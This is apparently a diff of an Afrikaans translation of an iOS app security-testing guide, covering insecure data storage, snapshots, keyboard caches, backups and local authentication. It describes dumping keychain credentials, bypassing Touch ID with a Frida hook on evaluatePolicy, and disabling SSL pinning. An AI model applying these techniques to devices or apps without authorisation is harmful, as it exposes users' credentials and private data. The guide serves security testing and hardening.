'n enkele toestel toe te voeg. Om data oor verskeie toestelle in 'n enkele iCloud-rekening te sinkroniseer, spieël Core Data outomaties jou skema na 'n CloudKit-container. - [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Die `PkgInfo`-lêer is 'n alternatiewe manier om die tipe en skepper kodes van jou toepassing of bundel te spesifiseer. - **en.lproj, fr.proj, Base.lproj**: Is die taal pakkette wat hulpbronne vir daardie spesifieke tale bevat, en 'n standaard hulpbron in die geval dat 'n taal nie ondersteun word nie. - **Sekuriteit**: Die `_CodeSignature/` gids speel 'n kritieke rol in die app se sekuriteit deur die integriteit van alle gebundelde lêers deur digitale handtekeninge te verifieer. @@ -180,7 +180,7 @@ Die struktuur van 'n **IPA-lêer** is essensieel dié van 'n **gecomprimeerde pa Die **Info.plist** dien as 'n hoeksteen vir iOS-toepassings, wat sleutel konfigurasiedata in die vorm van **sleutel-waarde** pare kapsuleer. Hierdie lêer is 'n vereiste nie net vir toepassings nie, maar ook vir app-uitbreidings en frameworks wat binne ingesluit is. Dit is gestruktureer in óf XML óf 'n binêre formaat en hou kritieke inligting wat wissel van app-toestemmings tot sekuriteitskonfigurasies. Vir 'n gedetailleerde verkenning van beskikbare sleutels, kan 'n mens na die [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc) verwys. -Vir diegene wat met hierdie lêer in 'n meer toeganklike formaat wil werk, kan die XML-omskakeling maklik bereik word deur die gebruik van `plutil` op macOS (beskikbaar vanweë op weergawes 10.2 en later) of `plistutil` op Linux. Die opdragte vir omskakeling is soos volg: +Vir diegene wat met hierdie lêer in 'n meer toeganklike formaat wil werk, kan die XML-omskakeling maklik bereik word deur die gebruik van `plutil` op macOS (natuurlik beskikbaar op weergawes 10.2 en later) of `plistutil` op Linux. Die opdragte vir omskakeling is soos volg: - **Vir macOS**: ```bash @@ -191,7 +191,7 @@ $ plutil -convert xml1 Info.plist $ apt install libplist-utils $ plistutil -i Info.plist -o Info_xml.plist ``` -Onder die menigte inligting wat die **Info.plist** lêer kan bekendmaak, sluit noemenswaardige inskrywings app toestemming stringe (`UsageDescription`), pasgemaakte URL skemas (`CFBundleURLTypes`), en konfigurasies vir App Transport Security (`NSAppTransportSecurity`) in. Hierdie inskrywings, saam met ander soos uitgevoerde/ingevoerde pasgemaakte dokumenttipes (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), kan maklik gevind word deur die lêer te ondersoek of 'n eenvoudige `grep` opdrag te gebruik: +Onder die menigte inligting wat die **Info.plist** lêer kan onthul, sluit noemenswaardige inskrywings app toestemming stringe (`UsageDescription`), pasgemaakte URL skemas (`CFBundleURLTypes`), en konfigurasies vir App Transport Security (`NSAppTransportSecurity`) in. Hierdie inskrywings, saam met ander soos uitgevoerde/ingevoerde pasgemaakte dokument tipes (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), kan maklik gevind word deur die lêer te ondersoek of 'n eenvoudige `grep` opdrag te gebruik: ```bash $ grep -i Info.plist ``` @@ -293,7 +293,7 @@ DVIA-v2: @rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0) [...] ``` -**Kontroleer of die aansoek geënkripteer is** +**Kontroleer of die aansoek versleuteld is** Kyk of daar enige uitvoer is vir: ```bash @@ -355,7 +355,7 @@ double _field1; double _field2; }; ``` -Maar die beste opsies om die binêre te ontleed is: [**Hopper**](https://www.hopperapp.com/download.html?) en [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/). +egter, die beste opsies om die binêre te ontleed is: [**Hopper**](https://www.hopperapp.com/download.html?) en [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/). ## Data Berging @@ -366,32 +366,32 @@ ios-basics.md {{#endref}} > [!WARNING] -> Die volgende plekke om inligting te stoor moet **reg na die installering van die toepassing** nagegaan word, **na die kontrole van al die funksies** van die toepassing en selfs na **uitteken van een gebruiker en inteken in 'n ander**.\ +> Die volgende plekke om inligting te stoor moet **reg na die installering van die toepassing** nagegaan word, **na die nagaan van al die funksies** van die toepassing en selfs na **uitteken van een gebruiker en inteken in 'n ander**.\ > Die doel is om **onbeskermde sensitiewe inligting** van die toepassing (wagwoorde, tokens), van die huidige gebruiker en van voorheen ingelogde gebruikers te vind. ### Plist -**plist** lêers is gestruktureerde XML lêers wat **sleutel-waarde pare** bevat. Dit is 'n manier om volhoubare data te stoor, so soms kan jy **sensitiewe inligting in hierdie lêers** vind. Dit word aanbeveel om hierdie lêers na die installering van die app en na intensiewe gebruik daarvan na te gaan om te sien of nuwe data geskryf is. +**plist** lêers is gestruktureerde XML lêers wat **sleutel-waarde pare** bevat. Dit is 'n manier om volhoubare data te stoor, so soms kan jy **sensitiewe inligting in hierdie lêers** vind. Dit word aanbeveel om hierdie lêers na die installering van die app en na intensiewe gebruik daarvan na te gaan om te sien of nuwe data geskryf word. -Die mees algemene manier om data in plist lêers volhoubaar te stoor, is deur die gebruik van **NSUserDefaults**. Hierdie plist lêer word binne die app sandbox gestoor in **`Library/Preferences/.plist`** +Die mees algemene manier om data in plist lêers volhoubaar te maak, is deur die gebruik van **NSUserDefaults**. Hierdie plist lêer word binne die app sandbox gestoor in **`Library/Preferences/.plist`** Die [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) klas bied 'n programmatiese koppelvlak vir interaksie met die standaardstelsel. Die standaardstelsel laat 'n toepassing toe om sy gedrag aan te pas volgens **gebruikersvoorkeure**. Data wat deur `NSUserDefaults` gestoor word, kan in die toepassingsbundel gesien word. Hierdie klas stoor **data** in 'n **plist** **lêer**, maar dit is bedoel om met klein hoeveelhede data gebruik te word. Hierdie data kan nie langer direk via 'n vertroude rekenaar verkry word nie, maar kan verkry word deur 'n **rugsteun** uit te voer. -Jy kan die inligting wat gestoor is met **`NSUserDefaults`** dump deur objection se `ios nsuserdefaults get` te gebruik. +Jy kan die inligting wat gestoor is met **`NSUserDefaults`** dump deur middel van objection se `ios nsuserdefaults get` Om al die plist lêers wat deur die toepassing gebruik word te vind, kan jy toegang verkry tot `/private/var/mobile/Containers/Data/Application/{APPID}` en uitvoer: ```bash find ./ -name "*.plist" ``` -Om lêers van **XML of binêre (bplist)** formaat na XML om te skakel, is verskeie metodes beskikbaar, afhangende van jou bedryfstelsel: +Om lêers van **XML of binêre (bplist)** formaat na XML te omskakel, is verskeie metodes beskikbaar, afhangende van jou bedryfstelsel: **Vir macOS gebruikers:** Gebruik die `plutil` opdrag. Dit is 'n ingeboude hulpmiddel in macOS (10.2+), ontwerp vir hierdie doel: ```bash $ plutil -convert xml1 Info.plist ``` -**Vir Linux-gebruikers:** Installeer eers `libplist-utils`, en gebruik dan `plistutil` om jou lêer te omskep: +**Vir Linux-gebruikers:** Installeer eers `libplist-utils`, en gebruik dan `plistutil` om jou lêer te omskakel: ```bash $ apt install libplist-utils $ plistutil -i Info.plist -o Info_xml.plist @@ -438,7 +438,7 @@ Aangesien die Yap databasisse sqlite databasisse is, kan jy hulle vind met die v ### Ander SQLite Databasisse -Dit is algemeen dat toepassings hul eie sqlite databasis skep. Hulle mag **sensitiewe** **data** daarop **stoor** en dit ongeënkripteer laat. Daarom is dit altyd interessant om elke databasis binne die toepassingsgids na te gaan. Gaan dus na die toepassingsgids waar die data gestoor word (`/private/var/mobile/Containers/Data/Application/{APPID}`) +Dit is algemeen dat toepassings hul eie sqlite databasis skep. Hulle mag **stoor** **sensitiewe** **data** daarop en dit ongemerk laat. Daarom is dit altyd interessant om elke databasis binne die toepassingsgids te kontroleer. Gaan dus na die toepassingsgids waar die data gestoor word (`/private/var/mobile/Containers/Data/Application/{APPID}`) ```bash find ./ -name "*.sqlite" -or -name "*.db" ``` @@ -456,7 +456,7 @@ Jy kan vind hoe om na verkeerd geconfigureerde Firebase databasisse te kyk hier: [Realm Objective-C](https://realm.io/docs/objc/latest/) en [Realm Swift](https://realm.io/docs/swift/latest/) bied 'n kragtige alternatief vir datastoor, wat nie deur Apple verskaf word nie. Standaard **stoor hulle data ongeënkripteer**, met enkripsie beskikbaar deur spesifieke konfigurasie. -Die databasisse is geleë by: `/private/var/mobile/Containers/Data/Application/{APPID}`. Om hierdie lêers te verken, kan 'n mens opdragte soos gebruik: +Die databasisse is geleë by: `/private/var/mobile/Containers/Data/Application/{APPID}`. Om hierdie lêers te verken, kan 'n mens opdragte soos gebruik. ```bash iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls default.realm default.realm.lock default.realm.management/ default.realm.note| @@ -510,7 +510,7 @@ Om die koekie-lêer te ondersoek, kan jy [**hierdie python-skrip**](https://gith Standaard stoor NSURLSession data, soos **HTTP versoeke en antwoorde in die Cache.db** databasis. Hierdie databasis kan **sensitiewe data** bevat, indien tokens, gebruikersname of enige ander sensitiewe inligting geberg is. Om die gebergde inligting te vind, open die datagids van die toepassing (`/var/mobile/Containers/Data/Application/`) en gaan na `/Library/Caches/`. Die **WebKit cache word ook in die Cache.db** lêer gestoor. **Objection** kan die databasis oopmaak en daarmee interaksie hê met die opdrag `sqlite connect Cache.db`, aangesien dit 'n n**ormale SQLite databasis** is. -Dit word **aanbeveel om die caching van hierdie data te deaktiveer**, aangesien dit sensitiewe inligting in die versoek of antwoord kan bevat. Die volgende lys hieronder toon verskillende maniere om dit te bereik: +Dit word **aanbeveel om die berging van hierdie data te deaktiveer**, aangesien dit sensitiewe inligting in die versoek of antwoord kan bevat. Die volgende lys hieronder toon verskillende maniere om dit te bereik: 1. Dit word aanbeveel om gebergde antwoorde na afmelding te verwyder. Dit kan gedoen word met die metode wat deur Apple verskaf word, genaamd [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). U kan hierdie metode soos volg aanroep: @@ -518,17 +518,17 @@ Dit word **aanbeveel om die caching van hierdie data te deaktiveer**, aangesien Hierdie metode sal alle gebergde versoeke en antwoorde uit die Cache.db lêer verwyder. -2. As u nie die voordeel van koekies hoef te gebruik nie, sal dit aanbeveel word om net die [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) konfigurasie eienskap van URLSession te gebruik, wat die stoor van koekies en caches sal deaktiveer. +2. As u nie die voordeel van koekies hoef te gebruik nie, word dit aanbeveel om net die [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) konfigurasie eienskap van URLSession te gebruik, wat die berging van koekies en Caches sal deaktiveer. [Apple dokumentasie](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): -`'n Ephemeral sessie konfigurasie objek is soortgelyk aan 'n standaard sessie konfigurasie (sien standaard), behalwe dat die ooreenstemmende sessie objek nie caches, geloofwaardigheid stoor, of enige sessie-verwante data op skyf stoor nie. In plaas daarvan word sessie-verwante data in RAM gestoor. Die enigste keer dat 'n ephemeral sessie data op skyf skryf, is wanneer jy dit sê om die inhoud van 'n URL na 'n lêer te skryf.'` +`'n Ephemeral sessie konfigurasie objek is soortgelyk aan 'n standaard sessie konfigurasie (sien standaard), behalwe dat die ooreenstemmende sessie objek nie caches, geloofwaardigheid stoor of enige sessie-verwante data op skyf stoor nie. In plaas daarvan word sessie-verwante data in RAM gestoor. Die enigste keer dat 'n ephemeral sessie data op skyf skryf, is wanneer jy dit sê om die inhoud van 'n URL na 'n lêer te skryf.'` -3. Cache kan ook gedeaktiveer word deur die Cache-beleid op [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) te stel. Dit sal die stoor van Cache op enige manier, hetsy in geheue of op skyf, deaktiveer. +3. Cache kan ook gedeaktiveer word deur die Cache-beleid op [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) in te stel. Dit sal die berging van Cache op enige manier, hetsy in geheue of op skyf, deaktiveer. ### Snapshots -Wanneer jy die tuisknoppie druk, **neem iOS 'n snapshot van die huidige skerm** om die oorgang na die toepassing op 'n baie gladder manier te kan doen. As **sensitiewe** **data** egter op die huidige skerm teenwoordig is, sal dit in die **beeld** **gestoor** word (wat **volhard** **deur** **herlaaiings**). Dit is die snapshots waartoe jy ook toegang kan hê deur dubbel te tik op die tuisskerm om tussen toepassings te wissel. +Wanneer jy die tuisknoppie druk, **neem iOS 'n snapshot van die huidige skerm** om die oorgang na die toepassing op 'n baie gladder manier te kan doen. As **sensitiewe** **data** egter op die huidige skerm teenwoordig is, sal dit in die **beeld** **gestoor** word (wat **volhard** **oor** **herlaaiings**). Dit is die snapshots waartoe jy ook toegang kan verkry deur dubbel te tik op die tuisskerm om tussen toepassings te wissel. Tensy die iPhone gejailbreak is, moet die **aanvaller** **toegang** tot die **toestel** **ontsluit** hê om hierdie skermskote te sien. Standaard word die laaste snapshot in die toepassings sandkas in die `Library/Caches/Snapshots/` of `Library/SplashBoard/Snapshots` gids gestoor (die vertroude rekenaars kan nie toegang tot die lêerstelsel vanaf iOX 7.0 verkry nie). @@ -566,15 +566,15 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds; [self.backgroundImage removeFromSuperview]; } ``` -Dit stel die agtergrondbeeld in op `overlayImage.png` wanneer die toepassing in die agtergrond is. Dit voorkom sensitiewe data leaks omdat `overlayImage.png` altyd die huidige weergawe sal oorskry. +Dit stel die agtergrondbeeld in op `overlayImage.png` wanneer die aansoek in die agtergrond is. Dit voorkom sensitiewe data leaks omdat `overlayImage.png` altyd die huidige weergawe sal oorskry. -### Keychain +### Sleutelring -Vir toegang tot en bestuur van die iOS keychain, is gereedskap soos [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) beskikbaar, geskik vir jailbroken toestelle. Boonop bied [**Objection**](https://github.com/sensepost/objection) die opdrag `ios keychain dump` vir soortgelyke doeleindes. +Vir toegang tot en bestuur van die iOS sleutelring, is gereedskap soos [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) beskikbaar, geskik vir jailbroken toestelle. Boonop bied [**Objection**](https://github.com/sensepost/objection) die opdrag `ios keychain dump` vir soortgelyke doeleindes. #### **Stoor Kredensiale** -Die **NSURLCredential** klas is ideaal om sensitiewe inligting direk in die keychain te stoor, wat die behoefte aan NSUserDefaults of ander wrappers omseil. Om kredensiale na aanmelding te stoor, word die volgende Swift kode gebruik: +Die **NSURLCredential** klas is ideaal om sensitiewe inligting direk in die sleutelring te stoor, wat die behoefte aan NSUserDefaults of ander wrappers omseil. Om kredensiale na aanmelding te stoor, word die volgende Swift-kode gebruik: ```swift NSURLCredential *credential; credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent]; @@ -582,17 +582,17 @@ credential = [NSURLCredential credentialWithUser:username password:password pers ``` Om hierdie gestoor geloofsbriewe te onttrek, word Objection se opdrag `ios nsurlcredentialstorage dump` gebruik. -## **Pasgemaakte Toetsborde en Toetsbordkas** +## **Pasgemaakte Sleutelborde en Sleutelborde Kas** -Met iOS 8.0 en later kan gebruikers pasgemaakte toetsborduitbreidings installeer, wat hanteerbaar is onder **Instellings > Algemeen > Toetsbord > Toetsborde**. Terwyl hierdie toetsborde uitgebreide funksionaliteit bied, stel dit 'n risiko van toetsaanslaglogging en die oordrag van data na eksterne bedieners, alhoewel gebruikers in kennis gestel word van toetsborde wat netwerktoegang benodig. Programme kan, en behoort, die gebruik van pasgemaakte toetsborde vir die invoer van sensitiewe inligting te beperk. +Met iOS 8.0 en later kan gebruikers pasgemaakte sleutelborde uitbreidings installeer, wat hanteerbaar is onder **Instellings > Algemeen > Sleutelborde > Sleutelborde**. Terwyl hierdie sleutelborde uitgebreide funksionaliteit bied, stel dit 'n risiko van toetsaanslagopname en die oordrag van data na eksterne bedieners, alhoewel gebruikers in kennis gestel word van sleutelborde wat netwerktoegang vereis. Apps kan, en behoort, die gebruik van pasgemaakte sleutelborde vir die invoer van sensitiewe inligting te beperk. **Sekuriteitsaanbevelings:** -- Dit word aanbeveel om derdeparty-toetsborde te deaktiveer vir verbeterde sekuriteit. -- Wees bewus van die outokorreksie- en outo-suggereringsfunksies van die standaard iOS-toetsbord, wat sensitiewe inligting in kaslêers kan stoor wat geleë is in `Library/Keyboard/{locale}-dynamic-text.dat` of `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Hierdie kaslêers moet gereeld nagegaan word vir sensitiewe data. Dit word aanbeveel om die toetsbordwoordeboek te reset via **Instellings > Algemeen > Reset > Reset Toetsbordwoordeboek** om gekapte data te verwyder. -- Die onderskepping van netwerkverkeer kan onthul of 'n pasgemaakte toetsbord toetsaanslae op afstand oordra. +- Dit word aanbeveel om derdeparty-sleutelborde te deaktiveer vir verbeterde sekuriteit. +- Wees bewus van die outokorreksie en outo-suggereringsfunksies van die standaard iOS-sleutelbord, wat sensitiewe inligting in kaslêers kan stoor wat geleë is in `Library/Keyboard/{locale}-dynamic-text.dat` of `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Hierdie kaslêers moet gereeld nagegaan word vir sensitiewe data. Dit word aanbeveel om die sleutelbordswoordeboek te reset via **Instellings > Algemeen > Reset > Reset Sleutelbordswoordeboek** om gekapte data te verwyder. +- Die onderskep van netwerkverkeer kan onthul of 'n pasgemaakte sleutelbord toetsaanslae op afstand oordra. -### **Voorkoming van Teksvakkas** +### **Voorkoming van Teksveldkas** Die [UITextInputTraits protocol](https://developer.apple.com/reference/uikit/uitextinputtraits) bied eienskappe om outokorreksie en veilige teksinvoer te bestuur, wat noodsaaklik is om die kas van sensitiewe inligting te voorkom. Byvoorbeeld, om outokorreksie te deaktiveer en veilige teksinvoer in te skakel kan bereik word met: ```objectivec @@ -648,9 +648,9 @@ Die insluiting van **geïnstalleerde toepassings en hul data** in rugsteun bring Lêers in `Documents/` en `Library/Application Support/` word standaard gebackup. Ontwikkelaars kan spesifieke lêers of gidse van rugsteun uitsluit deur `NSURL setResourceValue:forKey:error:` met die `NSURLIsExcludedFromBackupKey` te gebruik. Hierdie praktyk is van kardinale belang om sensitiewe data te beskerm teen insluiting in rugsteun. -### Toets vir Kw vulnerabilities +### Toetsing vir Kw vulnerabilities -Om 'n toepassing se rugsteun sekuriteit te evalueer, begin deur **'n rugsteun te skep** met Finder, en vind dit dan met leiding van [Apple se amptelike dokumentasie](https://support.apple.com/en-us/HT204215). Analiseer die rugsteun vir sensitiewe data of konfigurasies wat verander kan word om die gedrag van die toepassing te beïnvloed. +Om 'n toepassing se rugsteun sekuriteit te evalueer, begin deur **'n rugsteun te skep** met Finder, en lokaliseer dit dan met leiding van [Apple se amptelike dokumentasie](https://support.apple.com/en-us/HT204215). Analiseer die rugsteun vir sensitiewe data of konfigurasies wat verander kan word om die gedrag van die toepassing te beïnvloed. Sensitiewe inligting kan gesoek word met behulp van opdraglyn gereedskap of toepassings soos [iMazing](https://imazing.com). Vir versleutelde rugsteun kan die teenwoordigheid van versleuteling bevestig word deur die "IsEncrypted" sleutel in die "Manifest.plist" lêer by die rugsteun se wortel te kontroleer. ```xml @@ -693,9 +693,9 @@ $ r2 [0x00000000]> /? ... ``` -## **Tydelike Geheue Analise** +## **Runtime Geheue Analise** -**r2frida** bied 'n kragtige alternatief om 'n app se geheue in werklike tyd te inspekteer, sonder om 'n geheue dump te benodig. Hierdie hulpmiddel stel die uitvoering van soekopdragte direk op die lopende toepassing se geheue in staat: +**r2frida** bied 'n kragtige alternatief om 'n app se geheue in werklike tyd te inspekteer, sonder om 'n geheue dump nodig te hê. Hierdie hulpmiddel stel die uitvoering van soekopdragte direk op die lopende toepassing se geheue in staat: ```bash $ r2 frida://usb// [0x00000000]> /\ @@ -704,7 +704,7 @@ $ r2 frida://usb// ### Swak Sleutelbestuurprosesse -Sommige ontwikkelaars stoor sensitiewe data in die plaaslike berging en enkripteer dit met 'n sleutel wat in die kode hardgecodeer/voorspelbaar is. Dit moet nie gedoen word nie, aangesien sommige omkering aanvallers kan toelaat om die vertroulike inligting te onttrek. +Sommige ontwikkelaars stoor sensitiewe data in die plaaslike stoor en enkripteer dit met 'n sleutel wat in die kode hardgecodeer/voorspelbaar is. Dit moet nie gedoen word nie, aangesien sommige omkering aanvallers kan toelaat om die vertroulike inligting te onttrek. ### Gebruik van Onveilige en/of Verouderde Algoritmes @@ -718,38 +718,38 @@ Dit is interessant om te weet dat jy sommige **crypto** **biblioteke** outomatie ```swift ios monitor crypt ``` -Vir **meer inligting** oor iOS-kodering APIs en biblioteke, toegang tot [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography) +Vir **meer inligting** oor iOS-kryptografiese API's en biblioteke, toegang tot [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography) ## Plaaslike Verifikasie -**Plaaslike verifikasie** speel 'n belangrike rol, veral wanneer dit kom by die beskerming van toegang by 'n afgeleë eindpunt deur middel van kodering metodes. Die essensie hier is dat sonder behoorlike implementering, plaaslike verifikasie meganismes omseil kan word. +**Plaaslike verifikasie** speel 'n belangrike rol, veral wanneer dit kom by die beskerming van toegang by 'n afgeleë eindpunt deur middel van kryptografiese metodes. Die essensie hier is dat sonder behoorlike implementering, plaaslike verifikasiemeganismes omseil kan word. -Apple se [**Plaaslike Verifikasie raamwerk**](https://developer.apple.com/documentation/localauthentication) en die [**sleutelsak**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) bied robuuste APIs vir ontwikkelaars om gebruikersverifikasiedialoge te fasiliteer en veilig geheime data te hanteer, onderskeidelik. Die Veilige Enklave beveilig vingerafdruk-ID vir Touch ID, terwyl Face ID op gesigsherkenning staatmaak sonder om biometriese data in gevaar te stel. +Apple se [**Plaaslike Verifikasie-raamwerk**](https://developer.apple.com/documentation/localauthentication) en die [**sleutelsak**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) bied robuuste API's vir ontwikkelaars om gebruikersverifikasiedialoge te fasiliteer en veilig geheime data te hanteer, onderskeidelik. Die Veilige Enklave beveilig vingerafdruk-ID vir Touch ID, terwyl Face ID op gesigsherkenning staatmaak sonder om biometriese data in gevaar te stel. Om Touch ID/Face ID te integreer, het ontwikkelaars twee API-keuses: - **`LocalAuthentication.framework`** vir hoëvlak gebruikersverifikasie sonder toegang tot biometriese data. -- **`Security.framework`** vir laevlak sleutelsak dienste toegang, wat geheime data beveilig met biometriese verifikasie. Verskeie [oopbron wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) maak sleutelsak toegang eenvoudiger. +- **`Security.framework`** vir laevlak sleutelsakdienste toegang, wat geheime data beveilig met biometriese verifikasie. Verskeie [oopbron-wrapper](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) maak sleutelsaktoegang eenvoudiger. > [!CAUTION] -> egter, beide `LocalAuthentication.framework` en `Security.framework` bied kwesbaarhede, aangesien hulle hoofsaaklik booleaanse waardes teruggee sonder om data vir verifikasieprosesse oor te dra, wat hulle vatbaar maak vir omseiling (verwys na [Don't touch me that way, deur David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)). +> Dit gesê, beide `LocalAuthentication.framework` en `Security.framework` bied kwesbaarhede, aangesien hulle hoofsaaklik booleaanse waardes teruggee sonder om data vir verifikasieprosesse oor te dra, wat hulle vatbaar maak vir omseiling (verwys na [Don't touch me that way, deur David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)). ### Implementering van Plaaslike Verifikasie Om gebruikers vir verifikasie te vra, moet ontwikkelaars die **`evaluatePolicy`** metode binne die **`LAContext`** klas gebruik, en kies tussen: -- **`deviceOwnerAuthentication`**: Vra vir Touch ID of toestel wagwoord, en faal as geen een geaktiveer is nie. +- **`deviceOwnerAuthentication`**: Vra vir Touch ID of toestelwachtwoord, en faal as geen van beide geaktiveer is nie. - **`deviceOwnerAuthenticationWithBiometrics`**: Vra eksklusief vir Touch ID. 'n Suksesvolle verifikasie word aangedui deur 'n booleaanse terugwaarde van **`evaluatePolicy`**, wat 'n potensiële sekuriteitsfout beklemtoon. ### Plaaslike Verifikasie met Sleutelsak -Die implementering van **plaaslike verifikasie** in iOS-apps behels die gebruik van **sleutelsak APIs** om geheime data soos verifikasietokens veilig te stoor. Hierdie proses verseker dat die data slegs deur die gebruiker, met behulp van hul toestel wagwoord of biometriese verifikasie soos Touch ID, toegang verkry kan word. +Die implementering van **plaaslike verifikasie** in iOS-apps behels die gebruik van **sleutelsak API's** om geheime data soos verifikasietokens veilig te stoor. Hierdie proses verseker dat die data slegs deur die gebruiker, met behulp van hul toestelwachtwoord of biometriese verifikasie soos Touch ID, toegang verkry kan word. -Die sleutelsak bied die vermoë om items met die `SecAccessControl` attribuut in te stel, wat toegang tot die item beperk totdat die gebruiker suksesvol deur Touch ID of toestel wagwoord verifieer. Hierdie kenmerk is van kardinale belang om sekuriteit te verbeter. +Die sleutelsak bied die vermoë om items met die `SecAccessControl` attribuut in te stel, wat toegang tot die item beperk totdat die gebruiker suksesvol deur Touch ID of toestelwachtwoord verifieer. Hierdie kenmerk is van kardinale belang om sekuriteit te verbeter. -Hieronder is kodevoorbeelde in Swift en Objective-C wat demonstreer hoe om 'n string na/van die sleutelsak te stoor en te onttrek, terwyl hierdie sekuriteitskenmerke benut word. Die voorbeelde toon spesifiek hoe om toegangbeheer op te stel om Touch ID-verifikasie te vereis en te verseker dat die data slegs op die toestel waaraan dit ingestel is, toeganklik is, onder die voorwaarde dat 'n toestel wagwoord geconfigureer is. +Hieronder is kodevoorbeelde in Swift en Objective-C wat demonstreer hoe om 'n string na/vanaf die sleutelsak te stoor en te onttrek, terwyl hierdie sekuriteitskenmerke benut word. Die voorbeelde toon spesifiek hoe om toegangbeheer op te stel om Touch ID-verifikasie te vereis en te verseker dat die data slegs op die toestel waaraan dit ingestel is, toeganklik is, onder die voorwaarde dat 'n toestelwachtwoord geconfigureer is. {{#tabs}} {{#tab name="Swift"}} @@ -822,7 +822,7 @@ if (status == noErr) { {{#endtab}} {{#endtabs}} -Nou kan ons die gestoor item van die sleutelhouer versoek. Sleutelhouer dienste sal die verifikasiedialoog aan die gebruiker aanbied en data of nil teruggee, afhangende van of 'n geskikte vingerafdruk verskaf is of nie. +Nou kan ons die gestoor item van die sleutelring aan vra. Sleutelring dienste sal die verifikasiedialoog aan die gebruiker aanbied en data of nil teruggee, afhangende van of 'n geskikte vingerafdruk verskaf is of nie. {{#tabs}} {{#tab name="Swift"}} @@ -874,9 +874,9 @@ NSLog(@"Something went wrong"); {{#endtab}} {{#endtabs}} -### Ontdekking +### Opsporing -Die gebruik van raamwerke in 'n toepassing kan ook opgespoor word deur die lys van gedeelde dinamiese biblioteke van die toepassing se binêre te analiseer. Dit kan gedoen word deur `otool` te gebruik: +Die gebruik van raamwerke in 'n app kan ook opgespoor word deur die app se binêre se lys van gedeelde dinamiese biblioteke te analiseer. Dit kan gedoen word deur `otool` te gebruik: ```bash $ otool -L .app/ ``` @@ -906,7 +906,7 @@ Hierdie opdrag stel 'n reeks in werking waar Objection 'n taak registreer wat ef #### Frida -'n Voorbeeld van 'n gebruik van **`evaluatePolicy`** uit [DVIA-v2 toepassing](https://github.com/prateek147/DVIA-v2): +'n Voorbeeld van 'n gebruik van **`evaluatePolicy`** van [DVIA-v2 toepassing](https://github.com/prateek147/DVIA-v2): ```swift +(void)authenticateWithTouchID { LAContext *myContext = [[LAContext alloc] init]; @@ -934,7 +934,7 @@ dispatch_async(dispatch_get_main_queue(), ^{ } } ``` -Om die **bypass** van Plaaslike Verifikasie te bereik, word 'n Frida-skrip geskryf. Hierdie skrip teiken die **evaluatePolicy** kontrole, wat sy terugroep onderbreek om te verseker dat dit **success=1** teruggee. Deur die gedrag van die terugroep te verander, word die verifikasietoets effektief omseil. +Om die **bypass** van Plaaslike Verifikasie te bereik, word 'n Frida-skrip geskryf. Hierdie skrip teiken die **evaluatePolicy** kontrole, wat sy terugroep onderbreek om te verseker dat dit **success=1** teruggee. Deur die gedrag van die terugroep te verander, word die verifikasiekontrole effektief omseil. Die onderstaande skrip word ingespuit om die resultaat van die **evaluatePolicy** metode te verander. Dit verander die terugroep se resultaat om altyd sukses aan te dui. ```swift @@ -1018,7 +1018,7 @@ burp-configuration-for-ios.md ### Gasheernaam kontrole Een algemene probleem met die validasie van die TLS sertifikaat is om te kontroleer dat die sertifikaat deur 'n **betroubare** **CA** onderteken is, maar **nie te kontroleer** of **die gasheernaam** van die sertifikaat die gasheernaam is wat toeganklik is nie.\ -Om hierdie probleem met Burp te kontroleer, nadat jy Burp CA op die iPhone vertrou het, kan jy **'n nuwe sertifikaat met Burp vir 'n ander gasheernaam skep** en dit gebruik. As die toepassing steeds werk, dan is daar iets wat kwesbaar is. +Om hierdie probleem met Burp te kontroleer, nadat jy Burp CA op die iPhone vertrou het, kan jy **'n nuwe sertifikaat met Burp vir 'n ander gasheernaam skep** en dit gebruik. As die toepassing steeds werk, dan is dit kwesbaar. ### Sertifikaat Pinning @@ -1030,7 +1030,7 @@ Jy kan ook **objection's** `ios sslpinning disable` gebruik. ## Verskeie - In **`/System/Library`** kan jy die raamwerke vind wat op die telefoon geïnstalleer is deur stelsels toepassings. -- Die toepassings wat deur die gebruiker vanaf die App Store geïnstalleer is, is geleë in **`/User/Applications`**. +- Die toepassings wat deur die gebruiker vanaf die App Store geïnstalleer is, is geleë binne **`/User/Applications`**. - En die **`/User/Library`** bevat data wat deur die gebruiker vlak toepassings gestoor is. - Jy kan 